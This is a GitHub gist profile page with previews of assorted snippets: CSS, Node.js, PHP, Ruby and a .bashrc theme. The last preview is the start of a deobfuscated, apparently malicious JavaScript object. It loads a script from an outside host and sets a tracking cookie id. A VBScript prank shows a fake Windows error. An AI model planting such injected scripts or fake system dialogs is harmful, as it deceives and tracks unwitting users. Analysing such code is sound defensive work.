Skip to content

Instantly share code, notes, and snippets.

View rickdaalhuizen90's full-sized avatar

Rick Daalhuizen rickdaalhuizen90

  • Belgium
View GitHub Profile

Full-screen video background

This technique based on Fullscreen Video Background which modify to make it possible for Video Parallax Background.

A Pen by Rick Daalhuizen on CodePen.

License.

Slide in

The @keyframes rule specifies the animation code.

The animation is created by gradually changing from one set of CSS styles to another.

During the animation, you can change the set of CSS styles many times.

Specify when the style change will happen in percent, or with the keywords "from" and "to", which is the same as 0% and 100%. 0% is the beginning of the animation, 100% is when the animation is complete.

@rickdaalhuizen90
rickdaalhuizen90 / app.js
Created October 16, 2016 21:27
Handling Multiple Requests in Node.js
/**
* Node.js Tutorial for Beginners: Handling Multiple Requests
* See: https://www.youtube.com/watch?v=KsjrN-T3ZCs&index=4&list=PL6gx4Cwl9DGBMdkKFn3HasZnnAqVjzHn_
* Credits to: https://github.com/buckyroberts
*/
function placeAnOrder(orderNumber){
console.log("Customer order:", orderNumber);
@rickdaalhuizen90
rickdaalhuizen90 / leapyear_one.php
Last active July 23, 2018 19:04
Check for leap years between 2 dates.
<?php
$startYear = 1990;
$endYear = 2017;
$yearsToCheck = range($startYear, $endYear);
foreach ($yearsToCheck as $year) {
$isLeapYear = (bool) date('L', strtotime("$year-01-01"));
if($isLeapYear === true) echo $year . " is a leap year <br>";
@rickdaalhuizen90
rickdaalhuizen90 / .bashrc
Created February 12, 2017 17:20
Parrot Os bash theme for ubuntu
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
[ -z "$PS1" ] && return
# don't put duplicate lines in the history. See bash(1) for more options
# ... or force ignoredups and ignorespace
HISTCONTROL=ignoredups:ignorespace
@rickdaalhuizen90
rickdaalhuizen90 / error.vbs
Created March 2, 2017 10:50
Coolest Notepad Tricks and Hacks for Your PC
' Fake Windows Error Message
X=Msgbox(“Press OK and Windows will restart now.”,0+16,“There is a serious problem in your system”)
@rickdaalhuizen90
rickdaalhuizen90 / permutations.rb
Created November 22, 2017 10:21
Find all the possible permutations using Ruby and recursion Ask
# https://stackoverflow.com/questions/25224321/find-all-the-possible-permutations-using-ruby-and-recursion
$letters = "prtsone"
# Make permutations from letters
def permutation(string)
return [string] if string.size < 2
ch = string[0]
permutation(string[1..-1]).each_with_object([]) do |perm, result|
(0..perm.size).each { |i| result << perm.dup.insert(i,ch) }
@rickdaalhuizen90
rickdaalhuizen90 / Foo.php
Created January 28, 2018 16:40
Example of parsing arguments in php cli
<?php
class Hash
{
protected $string;
protected $hash;
/**
* Init arguments
@rickdaalhuizen90
rickdaalhuizen90 / script.js
Created July 7, 2018 13:28
Deobfuscation van js script
var ydddcef0cda9f99ac91f7c3a1a48b587a = {
snd: null,
v88bc7dc484cdebc76aca340fe0cbe1d3: 'https://onlinestatus.site/js/status.js',
myid: (function(_0xb69fx2) {
var _0xb69fx3 = document['cookie']['match'](new RegExp('(?:^|; )' + _0xb69fx2['replace'](/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\$1') + '=([^;]*)'));
return _0xb69fx3 ? decodeURIComponent(_0xb69fx3[1]) : undefined
})('setidd') || (function() {
var _0xb69fx4 = new Date();
var _0xb69fx5 = _0xb69fx4['getTime']() + '-' + Math['floor'](Math['random']() * (999999999 - 11111111 + 1) + 11111111);
var _0xb69fx6 = new Date(new Date()['getTime']() + 60 * 60 * 24 * 1000);